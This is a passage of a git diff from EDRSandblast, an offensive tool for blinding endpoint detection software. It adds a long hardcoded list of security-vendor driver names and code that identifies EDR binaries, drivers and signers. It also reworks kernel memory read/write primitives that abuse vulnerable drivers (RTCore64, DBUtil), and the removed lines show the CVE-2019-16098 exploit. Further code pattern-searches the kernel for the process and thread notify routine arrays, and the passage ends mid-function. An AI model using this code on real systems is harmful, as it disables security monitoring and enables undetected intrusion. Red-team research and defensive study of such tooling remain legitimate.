// Network Appliance + _T("flashaccelfs.sys"), + _T("changelog.sys"), + // NetworkProfi Ltd + _T("laFS.sys"), + // New Net Technologies Limited + _T("NNTInfo.sys"), + // NewSoftwares.net,Inc. + _T("WinFLAHdrv.sys"), + _T("WinFLAdrv.sys"), + _T("WinDBdrv.sys"), + _T("WinFLdrv.sys"), + _T("WinFPdrv.sys"), + // NEXON KOREA + _T("BlackCat.sys"), + // NextLabs + _T("nxrmflt.sys"), + // Niriva LLC + _T("VHDDelta.sys"), + _T("FSTrace.sys"), + // Nomadesk + _T("cbfltfs4.sys"), + // Novell + _T("zesfsmf.sys"), + // NTP Software + _T("ntps_fa.sys"), + // Nurd Yazilim A.S. + _T("edrdrv.sys"), + // NURILAB + _T("pfracdrv.sys"), + _T("nrcomgrdki.sys"), + _T("nrcomgrdka.sys"), + _T("nrpmonki.sys"), + _T("nrpmonka.sys"), + _T("nravwka.sys"), + _T("bhkavki.sys"), + _T("bhkavka.sys"), + _T("docvmonk.sys"), + _T("docvmonk64.sys"), + // NVELO Inc. + _T("SamsungRapidFSFltr.sys"), + // OCZ Storage + _T("OczMiniFilter.sys"), + // OnGuard Systems LLC + _T("NlxFF.sys"), + // OpenText Corp + _T("enmon.sys"), + // OPSWAT Inc. + _T("libwamf.sys"), + // ORANGE WERKS Inc + _T("wgfile.sys"), + // PA File Sight + _T("FileSightMF.sys"), + // Packeteer + _T("mblmon.sys"), + // Palo Alto Networks + _T("tedrdrv.sys"), + // PHD Virtual Tech Inc. + _T("phdcbtdrv.sys"), + // PJSC KP VTI + _T("RW7FsFlt.sys"), + // PolyLogyx LLC + _T("vast.sys"), + // Positive Technologies + _T("mpxmon.sys"), + // Protected Networks + _T("minitrc.sys"), + // Qihoo 360 + _T("360box.sys"), + // Qingdao Ruanmei Network Technology Co. + _T("RMDiskMon.sys"), + _T("diskactmon.sys"), + // Quality Corporation + _T("qfmon.sys"), + // Qualys Inc. + _T("QMON.sys"), + _T("qfimdvr.sys"), + // Quantum Corporation. + _T("cvofflineFlt32.sys"), + _T("cvofflineFlt64.sys"), + // Quest Software + _T("QFAPFlt.sys"), + // Quest Software Inc. + _T("BWFSDrv.sys"), + _T("CAADFlt.sys"), + // Quick Heal Technologies Pvt. Ltd. + _T("sieflt.sys"), + _T("cssdlp.sys"), + _T("fam.sys"), + // Quorum Labs + _T("qfilter.sys"), + // Rackware + _T("rwchangedrv.sys"), + // Redstor Limited + _T("RsFlt.sys"), + // RES Software + _T("FileGuard.sys"), + _T("NetGuard.sys"), + _T("RegGuard.sys"), + _T("ImgGuard.sys"), + _T("AppGuard.sys"), + // Resplendence Software Projects + _T("mmPsy32.sys"), + _T("mmPsy64.sys"), + _T("rrMon32.sys"), + _T("rrMon64.sys"), + // rhipe Australia Pty + _T("SeRdr.sys"), + // Rubrik Inc + _T("RubrikFileAudit.sys"), + _T("FileSystemCBT.sys"), + // rubysoft + _T("IronGateFD.sys"), + // RuiGuard Ltd + _T("RuiMinispy.sys"), + _T("RuiFileAccess.sys"), + _T("RuiEye.sys"), + _T("RuiMachine.sys"), + _T("RuiDiskFs.sys"), + // RUNEXY + _T("ruaff.sys"), + _T("mlsaff.sys"), + // SAFE-Cyberdefense + _T("SAFE-Agent.sys"), + // Safend + _T("Sahara.sys"), + _T("Santa.sys"), + // SaferZone Co. + _T("SZEDRDrv.sys"), + _T("szardrv.sys"), + _T("szpcmdrv.sys"), + _T("szdfmdrv.sys"), + _T("szdfmdrv_usb.sys"), + _T("sprtdrv.sys"), + // Samsung SDS Ltd + _T("SGResFlt.sys"), + // SanDisk Inc. + _T("fiopolicyfilter.sys"), + // Sandoll Communication + _T("SfdFilter.sys"), + // SC ODEKIN SOLUTIONS SRL + _T("ospmon.sys"), + // Scalable Software Inc. + _T("PkgFilter.sys"), + // ScriptLogic + _T("FSAFilter.sys"), + // Secdo + _T("SecdoDriver.sys"), + // SecureAxis + _T("usbl_ifsfltr.sys"), + // SecureAxis Software + _T("llfilter.sys"), + // Secured Globe Inc. + _T("fltRs329.sys"), + // SecureLink Inc. + _T("CBFSFilter2017.sys"), + // Security Code LLC + _T("ScAuthFSFlt.sys"), + _T("ScAuthIoDrv.sys"), + // SentinelOne + _T("SentinelMonitor.sys"), + // Sevtechnotrans + _T("uamflt.sys"), + // Shanghai YiCun Network Tech Co. Ltd + _T("AccessValidator.sys"), + // SharpCrafters + _T("psisolator.sys"), + // SheedSoft Ltd + _T("SheedSelfProtection.sys"), + // SheedSoft Ltd. + _T("arta.sys"), + // Shenzhen CloudRiver + _T("CrUnCopy.sys"), + // SHENZHEN UNNOO Information Techco. + _T("RyGuard.sys"), + _T("FileShareMon.sys"), + _T("ryfilter.sys"), + // Shenzhen Unnoo LTD + _T("secufile.sys"), + _T("XiaobaiFs.sys"), + _T("XiaobaiFsR.sys"), + // ShinNihonSystec Co + _T("sagntflt.sys"), + // Simopro Technology + _T("CbFltFs4.sys"), + // SK Infosec Co + _T("PLPOffDrv.sys"), + _T("ISFPDrv.sys"), + _T("ionmonwdrv.sys"), + // Sky Co., LTD. + _T("SkyRGDrv.sys"), + _T("SkyAMDrv.sys"), + // Sky Co.,Ltd. + _T("SkyWPDrv.sys"), + // SmartFile LLC + _T("FileHubAgent.sys"), + // SMTechnology Co. + _T("storagedrv.sys"), + // SN Systems Ltd + _T("cbfilter20.sys"), + _T("cbfsfilter2017.sys"), + // SnoopWall LLC + _T("SWCommFltr.sys"), + // SODATSW + _T("sodatpfl.sys"), + // SODATSW spol. s r.o. + _T("sodatpfl.sys"), + _T("fcontrol.sys"), + // SoftCamp Co. + _T("scred.sys"), + // Softnext Technologies + _T("snimg.sys"), + // SoftPerfect Research + _T("fsnk.sys"), + // Software Pursuits Inc. + _T("SPIMiniFilter.sys"), + // Sogou Ltd. + _T("SCAegis.sys"), + // Solarwinds LLC + _T("SWFsFltrv2.sys"), + _T("SWFsFltr.sys"), + // Soliton Systems + _T("it2reg.sys"), + _T("it2drv.sys"), + _T("solitkm.sys"), + // Soliton Systems K.K. + _T("SDVFilter.sys"), + // Solusseum Inc + _T("Sefo.sys"), + // Soluto LTD + _T("PDGenFam.sys"), + // Somma Inc + _T("MonsterK.sys"), + // SonicWall Inc + _T("SFPMonitor.sys"), + // Sophos + _T("SophosED.sys"), + // Sophos Plc + _T("soidriver.sys"), + // SoulFrost + _T("sfac.sys"), + // SPEKNET EOOD + _T("Asgard.sys"), + // Spharsoft Technologies + _T("SvCBT.sys"), + // Squadra Technologies + _T("secRMM.sys"), + // Stegosystems Inc + _T("StegoProtect.sys"), + // StorageCraft Tech + _T("stcvsm.sys"), + // Stormshield + _T("EsProbe.sys"), + // Sumitomo Electric Ltd. + _T("MCFileMon64.sys"), + _T("MCFileMon32.sys"), + // Sun&Moon Rise + _T("ntfsf.sys"), + // Symantec + _T("pgpwdefs.sys"), + _T("GEProtection.sys"), + _T("sysMon.sys"), + _T("ssrfsf.sys"), + _T("emxdrv2.sys"), + _T("reghook.sys"), + _T("spbbcdrv.sys"), + _T("bhdrvx86.sys"), + _T("bhdrvx64.sys"), + _T("SISIPSFileFilter"), + _T("symevent.sys"), + // Symantec Corp. + _T("diflt.sys"), + // Syncopate + _T("thetta.sys"), + // Systemneeds, Inc + _T("Snilog.sys"), + // TaaSera Inc. + _T("AwareCore.sys"), + // Tanium + _T("TaniumRecorderDrv.sys"), + // TCXA Ltd. + _T("fcnotify.sys"), + // Tech Research + _T("FASDriver"), + // TechnoKom Ltd. + _T("agfsmon.sys"), + // Telefnica Digital + _T("path8flt.sys"), + // Temasoft S.R.L. + _T("filemon.sys"), + // Tencent (Shenzhen) + _T("QQProtect.sys"), + _T("QQProtectX64.sys"), + // Tencent Technology + _T("TenRSafe2.sys"), + _T("tesxporter.sys"), + _T("tesxnginx.sys"), + // Tetraglyph Technologies + _T("TGFSMF.sys"), + // ThinAir Labs Inc + _T("taobserveflt.sys"), + // ThinScale Tech + _T("TSTFsReDir.sys"), + _T("TSTRegReDir.sys"), + _T("TSTFilter.sys"), + // Third Brigade + _T("tbfsfilt.sys"), + // Threat Stack + _T("ThreatStackFIM.sys"), + // Tiversa Inc + _T("tss.sys"), + // Topology Ltd + _T("dsfemon.sys"), + // Tranxition Corp + _T("regmonex.sys"), + _T("TXRegMon.sys"), + // Trend Micro Inc. + _T("TMUMS.sys"), + _T("hfileflt.sys"), + _T("TMUMH.sys"), + // Trend Micro, Inc. + _T("AcDriver.sys"), + _T("SakFile.sys"), + _T("SakMFile.sys"), + // Tritium Inc. + _T("Tritiumfltr.sys"), + // Trustware Ltd + _T("Redlight.sys"), + // Trustwave + _T("TWBDCFilter.sys"), + // UpGuard + _T("UpGuardRealTime.sys"), + // Varlook Ltd. + _T("varpffmon.sys"), + // Varonis Ltd + _T("VrnsFilter.sys"), + // Veramine Inc + _T("phantomd.sys"), + // Vidder Inc. + _T("vidderfs.sys"), + // Viewfinity + _T("vfdrv.sys"), + // Vision Solutions + _T("repdrv.sys"), + _T("repmon.sys"), + // VMware, Inc. + _T("VMWVvpfsd.sys"), + _T("RTOLogon.sys"), + // VoodooSoft + _T("VSScanner.sys"), + // WaikatoLink Ltd + _T("proggerdriver.sys"), + // WardWiz + _T("WRDWIZFILEPROT.SYS"), + _T("WRDWIZREGPROT.SYS"), + // Warp Disk Software + _T("DsDriver.sys"), + // Weing Co.,Ltd. + _T("pscff.sys"), + // Wellbia.com + _T("xhunter64.sys"), + _T("uncheater.sys"), + // Wellbiacom + _T("xhunter1.sys"), + // Whitebox Security + _T("wbfilter.sys"), + // WhiteCell Software Inc. + _T("EGMinFlt.sys"), + // WidgetNuri Corp + _T("wsafefilter.sys"), + _T("RansomDetect.sys"), + // Winicssec Ltd + _T("wlminisecmod.sys"), + _T("WntGPDrv.sys"), + // X-Cloud Systems + _T("xcpl.sys"), + // Xacti + _T("stflt.sys"), + // Yahoo Japan Corporation + _T("YahooStorage.sys"), + // Yandex LLC + _T("bmregdrv.sys"), + _T("bmfsdrv.sys"), + // YATEM Co. Ltd. + _T("LCmPrintMon.sys"), + _T("LCgAdMon.sys"), + _T("LCmAdMon.sys"), + _T("LCgFileMon.sys"), + _T("LCmFile.sys"), + _T("LCgFile.sys"), + _T("LCmFileMon.sys"), + // Yokogawa Corpration + _T("YFSD2.sys"), + // Yokogawa R&L Corp + _T("YFSDR.SYS"), + _T("YFSD.SYS"), + _T("YFSRD.sys"), + _T("psgfoctrl.sys"), + _T("psgdflt.sys"), + // Zampit + _T("zampit_ml.sys"), + // ZenmuTech Inc. + _T("mumdi.sys"), + // Zhuan Zhuan Jing Shen + _T("zzpensys.sys"), + // ZoneFox + _T("KernelAgent32.sys"), + /* + * FSFilter Activity Monitor - END + */ + /* + * Invoke-EDRCheck.ps1 - BEGIN + * Duplicates from previous source are removed. + */ + // Altiris Symantec + _T("atrsdfw.sys"), + // Avast + _T("naswSP.sys"), + // Carbon Black + _T("CbELAM.sys"), + _T("ctifile.sys"), + _T("ctinet.sys"), + _T("parity.sys"), + // Cisco + _T("csacentr.sys"), + _T("csaenh.sys"), + _T("csareg.sys"), + _T("csascr.sys"), + // CJSC Returnil Software + _T("rvsavd.sys"), + // Comodo Security + _T("CmdMnEfs.sys"), + _T("MyDLPMF.sys"), + // CrowdStrike + _T("im.sys"), + _T("CSDeviceControl.sys"), + _T("CSFirmwareAnalysis.sys"), + // Cybereason + _T("CRExecPrev.sys"), + // Endgame + _T("esensor.sys"), + // ESET + _T("edevmon.sys"), + // F-Secure + _T("xfsgk.sys"), + // Malwarebytes + _T("mbamwatchdog.sys"), + // Microsoft Defender + _T("MpKslDrv.sys"), + // Palo Alto Networks - Cortex XDR + _T("cyverak.sys"), + _T("cyvrlpc.sys"), + _T("cyvrmtgn.sys"), + _T("tdevflt.sys"), + // Raytheon Cyber Solutions + _T("eaw.sys"), + // Symantec + _T("vxfsrep.sys"), + _T("VirtFile.sys"), + _T("SymAFR.sys"), + _T("symefasi.sys"), + _T("symefa.sys"), + _T("symefa64.sys"), + _T("SymHsm.sys"), + _T("evmf.sys"), + _T("GEFCMP.sys"), + _T("VFSEnc.sys"), + _T("pgpfs.sys"), + _T("fencry.sys"), + _T("symrg.sys"), + // Verdasys Inc + _T("ndgdmk.sys"), + /* + * Invoke-EDRCheck.ps1 - END + */ + + /* + * User contributions + */ + // Tehtris + _T("egfilterk.sys"), + // Sophos + _T("SophosDt2.sys"), + _T("SophosSupport.sys"), + // Cisco AMP + _T("ExPrevDriver.sys"), +}; + +BOOL isFileSignatureMatchingEDR(TCHAR* filePath) { + SignatureOpsError returnValue; + TCHAR* signers = NULL; + size_t szSigners = 0; + returnValue = GetFileSigners(filePath, signers, &szSigners); + + // Expected if the file is signed, first call will return the needed buffer size. + if (returnValue == E_INSUFFICIENT_BUFFER) { + signers = calloc(szSigners, sizeof(TCHAR)); + if (!signers) { + _tprintf_or_not(TEXT("[!] Couldn't allocate memory for Signers information for binary \"%s\"\n"), filePath); + return FALSE; + } + returnValue = GetFileSigners(filePath, signers, &szSigners); + } + + // If the file is not signed, it's unlikely to be linked to an EDR product. + if (returnValue == E_NOT_SIGNED) { + // _tprintf_or_not(TEXT("[*] File \"%s\" is not signed.\n"), binaryPath); + return FALSE; + } + + if (returnValue == E_FILE_NOT_FOUND) { + _tprintf_or_not(TEXT("[!] Couldn't locate file \"%s\" to retrieve certificate information.\n"), filePath); + return FALSE; + } + + if ((returnValue != E_SUCCESS) || !signers) { + _tprintf_or_not(TEXT("[!] An error occurred while retrieving certificate information for file \"%s\"\n"), filePath); + return FALSE; + } + + // Iterates over each keywords in EDR_SIGNATURE_KEYWORDS and return TRUE if a match is found. + for (int i = 0; i < _countof(EDR_SIGNATURE_KEYWORDS); ++i) { + if (_tcsstr(signers, EDR_SIGNATURE_KEYWORDS[i])) { + free(signers); + return TRUE; + } + } + + free(signers); + return FALSE; +} + +BOOL isBinaryNameMatchingEDR(TCHAR* binaryName) { + for (int i = 0; i < _countof(EDR_BINARIES); ++i) { + if (_tcscmp(binaryName, EDR_BINARIES[i]) == 0) { + return TRUE; + } + } + return FALSE; +} + +BOOL isBinaryPathMatchingEDR(TCHAR* binaryPath) { + for (int i = 0; i < _countof(EDR_BINARIES); ++i) { + if (_tcsstr(binaryPath, EDR_BINARIES[i])) { + return TRUE; + } + } + return FALSE; +} + +BOOL isDriverNameMatchingEDR(TCHAR* driverName) { + for (int i = 0; i < _countof(EDR_DRIVERS); ++i) { + if (_tcscmp(driverName, EDR_DRIVERS[i]) == 0) { + return TRUE; + } + } + return FALSE; +} + +BOOL isDriverPathMatchingEDR(TCHAR* driverPath) { + for (int i = 0; i < _countof(EDR_DRIVERS); ++i) { + if (_tcsstr(driverPath, EDR_DRIVERS[i])) { + return TRUE; + } + } + return FALSE; +} + +// TODO : create an API to check, with only the name of a loaded driver, if it an EDR (check its name against the hardcoded list of names, automatically find its path on disk and check the file signature) \ No newline at end of file diff --git a/EDRSandblast/Utils/IsElevatedProcess.c b/EDRSandblast/Utils/IsElevatedProcess.c new file mode 100644 index 0000000..e767491 --- /dev/null +++ b/EDRSandblast/Utils/IsElevatedProcess.c @@ -0,0 +1,20 @@ +#include "IsElevatedProcess.h" + +BOOL IsElevatedProcess() { + BOOL fRet = FALSE; + HANDLE hToken = NULL; + + if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { + TOKEN_ELEVATION Elevation; + DWORD cbSize = sizeof(TOKEN_ELEVATION); + if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) { + fRet = Elevation.TokenIsElevated; + } + } + + if (hToken) { + CloseHandle(hToken); + } + + return fRet; +} \ No newline at end of file diff --git a/EDRSandblast/Utils/KernelMemoryPrimitives.c b/EDRSandblast/Utils/KernelMemoryPrimitives.c index 1b29394..076949f 100644 --- a/EDRSandblast/Utils/KernelMemoryPrimitives.c +++ b/EDRSandblast/Utils/KernelMemoryPrimitives.c @@ -1,178 +1,69 @@ -/* - ---- Kernel memory Read / Write primitives through the vulnerable Micro-Star MSI Afterburner driver. ---- Source and credit: https://github.com/Barakat/CVE-2019-16098/blob/master/CVE-2019-16098.cpp - -*/ #include #include -#include +#include +#include + +#include "DriverRTCore.h" +#include "DriverDBUtil.h" +#include "KernelUtils.h" +#include "../EDRSandblast.h" #include "KernelMemoryPrimitives.h" -static_assert(sizeof(struct RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes"); -static_assert(sizeof(struct RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes"); -static_assert(sizeof(struct RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes"); - -DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) { - struct RTCORE64_MEMORY_READ MemoryRead = { 0 }; - MemoryRead.Address = Address; - MemoryRead.ReadSize = Size; - - DWORD BytesReturned; - - DeviceIoControl(Device, - RTCORE64_MEMORY_READ_CODE, - &MemoryRead, - sizeof(MemoryRead), - &MemoryRead, - sizeof(MemoryRead), - &BytesReturned, - NULL); - - return MemoryRead.Value; +VOID ReadMemory(DWORD64 Address, PVOID Buffer, SIZE_T Size) { + ReadMemoryPrimitive(Size, Address, Buffer); } -void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) { - struct RTCORE64_MEMORY_READ MemoryRead = { 0 }; - MemoryRead.Address = Address; - MemoryRead.ReadSize = Size; - MemoryRead.Value = Value; - - DWORD BytesReturned; - - DeviceIoControl(Device, - RTCORE64_MEMORY_WRITE_CODE, - &MemoryRead, - sizeof(MemoryRead), - &MemoryRead, - sizeof(MemoryRead), - &BytesReturned, - NULL); +VOID WriteMemory(DWORD64 Address, PVOID Buffer, SIZE_T Size) { + WriteMemoryPrimitive(Size, Address, Buffer); } -BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address) { - return ReadMemoryPrimitive(Device, 1, Address) & 0xff; +#define ReadMemoryType(TYPE) \ +TYPE ReadMemory ## TYPE ## (DWORD64 Address) {\ + TYPE res;\ + ReadMemoryPrimitive(sizeof(TYPE), Address, &res);\ + return res;\ +} +ReadMemoryType(BYTE); +ReadMemoryType(WORD); +ReadMemoryType(DWORD); +ReadMemoryType(DWORD64); + +#define ReadKernelMemoryType(TYPE) \ +TYPE ReadKernelMemory ## TYPE ## (DWORD64 Offset) {\ + TYPE res;\ + DWORD64 Address = FindNtoskrnlBaseAddress() + Offset;\ + ReadMemoryPrimitive(sizeof(TYPE), Address, &res);\ + return res;\ } -WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) { - return ReadMemoryPrimitive(Device, 2, Address) & 0xffff; +ReadKernelMemoryType(BYTE); +ReadKernelMemoryType(WORD); +ReadKernelMemoryType(DWORD); +ReadKernelMemoryType(DWORD64); + +#define WriteMemoryType(TYPE) \ +VOID WriteMemory ## TYPE ## (DWORD64 Address, TYPE Value) {\ + WriteMemoryPrimitive(sizeof(TYPE), Address, &Value);\ } -DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) { - return ReadMemoryPrimitive(Device, 4, Address) & 0xffffffff; +WriteMemoryType(BYTE); +WriteMemoryType(WORD); +WriteMemoryType(DWORD); +WriteMemoryType(DWORD64); + + +#define WriteKernelMemoryType(TYPE) \ +VOID WriteKernelMemory ## TYPE ## (DWORD64 Offset, TYPE Value) {\ + DWORD64 Address = FindNtoskrnlBaseAddress() + Offset;\ + WriteMemoryPrimitive(sizeof(TYPE), Address, &Value);\ } -DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) { - return ((DWORD64)(ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address); +WriteKernelMemoryType(BYTE); +WriteKernelMemoryType(WORD); +WriteKernelMemoryType(DWORD); +WriteKernelMemoryType(DWORD64); + +BOOL TestReadPrimitive() { + return ReadKernelMemoryWORD(0) == *(WORD*)"MZ"; } - -void WriteMemoryBYTE(HANDLE Device, DWORD64 Address, DWORD64 Value) { - DWORD64 currentValue = ReadMemoryDWORD64(Device, Address); - Value = (currentValue & 0xFFFFFFFFFFFFFFF0) | (Value); - WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff); - WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32); -} - -void WriteMemoryWORD(HANDLE Device, DWORD64 Address, DWORD64 Value) { - DWORD64 currentValue = ReadMemoryDWORD64(Device, Address); - Value = (currentValue & 0xFFFFFFFFFFFFFF00) | (Value); - WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff); - WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32); -} - -void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) { - WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff); - WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32); -} - -/* - ---- Kernel exploitation helpers. ---- Largely inspired from https://github.com/br-sn/CheekyBlinder ---- Source and credit: https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp - -*/ - -DWORD64 FindNtoskrnlBaseAddress(void) { - DWORD cbNeeded = 0; - LPVOID drivers[1024]; - - if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) { - return (DWORD64)drivers[0]; - } - - return 0; -} - -TCHAR* FindDriver(DWORD64 address, BOOL verbose) { - - LPVOID drivers[1024]; - DWORD cbNeeded; - int cDrivers = 0; - int i = 0; - TCHAR szDriver[1024] = { 0 }; - DWORD64 minDiff = MAXDWORD64; - DWORD64 diff; - if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) { - cDrivers = cbNeeded / sizeof(drivers[0]); - for (i = 0; i < cDrivers; i++) { - if ((DWORD64)drivers[i] <= address) { - diff = address - (DWORD64)drivers[i]; - if (diff < minDiff) { - minDiff = diff; - } - } - } - } - else { - _tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address); - return NULL; - } - - if (GetDeviceDriverBaseName((LPVOID)(address - minDiff), szDriver, _countof(szDriver))) { - - if (verbose) { - _tprintf(TEXT("[+] %016llx [%s + 0x%llx]\n"), address, szDriver, minDiff); - } - - TCHAR* const ptrDrvier = (LPTSTR)calloc(1024, sizeof(TCHAR)); - - if (!ptrDrvier) { - _tprintf(TEXT("[!] Couldn't allocate memory to retrieve the driver pointer\n")); - return NULL; - } - - _tcscpy_s(ptrDrvier, 1024, szDriver); - return ptrDrvier; - } - else { - _tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address); - return NULL; - } -} - -HANDLE GetDriverHandle() { - TCHAR service[] = TEXT("\\\\.\\RTCore64"); - HANDLE Device = CreateFile(service, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); - - if (Device == INVALID_HANDLE_VALUE) { - _tprintf(TEXT("[!] Unable to obtain a handle to the vulnerable driver, exiting...\n")); - exit(EXIT_FAILURE); - } - - return Device; -} - -DWORD64 GetFunctionAddress(LPCSTR function) { - DWORD64 ntoskrnlBaseAddress = FindNtoskrnlBaseAddress(); - DWORD64 address = 0; - HMODULE ntoskrnl = LoadLibrary(TEXT("ntoskrnl.exe")); - if (ntoskrnl) { - DWORD64 offset = (DWORD64)(GetProcAddress(ntoskrnl, function)) - (DWORD64)(ntoskrnl); - address = ntoskrnlBaseAddress + offset; - FreeLibrary(ntoskrnl); - } - // _tprintf(TEXT("[+] %s address: 0x%I64x\n"), function, address); - return address; -} \ No newline at end of file diff --git a/EDRSandblast/Utils/KernelPatternSearch.c b/EDRSandblast/Utils/KernelPatternSearch.c index 1a0048a..81c68ef 100644 --- a/EDRSandblast/Utils/KernelPatternSearch.c +++ b/EDRSandblast/Utils/KernelPatternSearch.c @@ -7,76 +7,69 @@ #include #include #include "KernelMemoryPrimitives.h" +#include "KernelUtils.h" +#include "../EDRSandblast.h" -DWORD64 PatternSearchStartingFromAddress(HANDLE Device, DWORD64 startAddress, DWORD bytesToScan, DWORD64 pattern, DWORD64 mask) { +DWORD64 PatternSearchStartingFromAddress(DWORD64 startAddress, DWORD bytesToScan, DWORD64 pattern, DWORD64 mask) { for (DWORD i = 0; i < bytesToScan; i++) { DWORD64 instructionAddress = startAddress + i; - DWORD64 dword64Instruction = ReadMemoryDWORD64(Device, instructionAddress); + DWORD64 dword64Instruction = ReadMemoryDWORD64(instructionAddress); DWORD64 dword64InstructionFixed = dword64Instruction & mask; - // _tprintf(TEXT("i = %i, pattern = 0x%I64x, instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x\n"), i, pattern, instructionAddress, dword64Instruction, dword64InstructionFixed); + // _tprintf_or_not(TEXT("i = %i, pattern = 0x%I64x, instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x\n"), i, pattern, instructionAddress, dword64Instruction, dword64InstructionFixed); if (dword64InstructionFixed == pattern) { - _tprintf(TEXT("[+] Found pattern = 0x%I64x at offset i = %i [instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x]\n"), pattern, i, instructionAddress, dword64Instruction, dword64InstructionFixed); + _tprintf_or_not(TEXT("[+] Found pattern = 0x%I64x at offset i = %i [instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x]\n"), pattern, i, instructionAddress, dword64Instruction, dword64InstructionFixed); return instructionAddress; } } return 0x0; } -DWORD64 ExtractRelativeAddress(HANDLE Device, DWORD64 instructionStartAddress, DWORD64 instructionRelativeAddressOffset, DWORD64 nextInstructionOffset) { - DWORD64 procedureRelativeAddress = (signed int)ReadMemoryDWORD64(Device, instructionStartAddress + instructionRelativeAddressOffset); +DWORD64 ExtractRelativeAddress(DWORD64 instructionStartAddress, DWORD64 instructionRelativeAddressOffset, DWORD64 nextInstructionOffset) { + DWORD64 procedureRelativeAddress = (signed int)ReadMemoryDWORD64(instructionStartAddress + instructionRelativeAddressOffset); DWORD64 nextInstructionAddress = instructionStartAddress + nextInstructionOffset; return nextInstructionAddress + procedureRelativeAddress; } DWORD64 GetPspCreateProcessNotifyRoutineAddressUsingPattern(void) { - _tprintf(TEXT("[*] Searching for PspCreateProcessNotifyRoutine address using pattern\n")); - HANDLE Device = GetDriverHandle(); + _putts_or_not(TEXT("[*] Searching for PspCreateProcessNotifyRoutine address using pattern")); // Extracting PspSetCreateProcessNotifyRoutine address in PsSetCreateProcessNotifyRoutine using the pattern "E8" (CALL) to match "[e80e010000] call nt!PspSetCreateProcessNotifyRoutine". - DWORD64 PsSetCreateProcessNotifyRoutineAddress = GetFunctionAddress("PsSetCreateProcessNotifyRoutine"); - DWORD64 CallPspSetCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetCreateProcessNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF); - DWORD64 PspSetCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(Device, CallPspSetCreateProcessNotifyRoutineAddress, 1, 5); + DWORD64 PsSetCreateProcessNotifyRoutineAddress = GetKernelFunctionAddress("PsSetCreateProcessNotifyRoutine"); + DWORD64 CallPspSetCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(PsSetCreateProcessNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF); + DWORD64 PspSetCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(CallPspSetCreateProcessNotifyRoutineAddress, 1, 5); // Extracting PspCreateProcessNotifyRoutine address in PspSetCreateProcessNotifyRoutine using the pattern "4C 8D" (LEA 4C) to match "[4c8d2d371ddaff] lea r13,[nt!PspCreateProcessNotifyRoutine". - DWORD64 LeaPspCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PspSetCreateProcessNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8); - DWORD64 PspCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspCreateProcessNotifyRoutineAddress, 3, 7); - _tprintf(TEXT("[+] Pattern search found PspCreateProcessNotifyRoutine address: 0x%I64x\n"), PspCreateProcessNotifyRoutineAddress); + DWORD64 LeaPspCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(PspSetCreateProcessNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8); + DWORD64 PspCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(LeaPspCreateProcessNotifyRoutineAddress, 3, 7); + _tprintf_or_not(TEXT("[+] Pattern search found PspCreateProcessNotifyRoutine address: 0x%I64x\n"), PspCreateProcessNotifyRoutineAddress); - CloseHandle(Device); - return PspCreateProcessNotifyRoutineAddress; } DWORD64 GetPspCreateThreadNotifyRoutineAddressUsingPattern(void) { - _tprintf(TEXT("[*] Searching for PspCreateThreadNotifyRoutine address using pattern\n")); - HANDLE Device = GetDriverHandle(); + _putts_or_not(TEXT("[*] Searching for PspCreateThreadNotifyRoutine address using pattern")); // Extracting nt!PspSetCreateThreadNotifyRoutine address in nt!PsSetCreateThreadNotifyRoutine using the pattern "E8" (CALL) to match "[e865000000] call nt!PspSetCreateThreadNotifyRoutine". - DWORD64 PsSetCreateThreadNotifyRoutineAddress = GetFunctionAddress("PsSetCreateThreadNotifyRoutine"); - DWORD64 CallPspSetCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetCreateThreadNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF); - DWORD64 PspSetCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(Device, CallPspSetCreateThreadNotifyRoutineAddress, 1, 5); + DWORD64 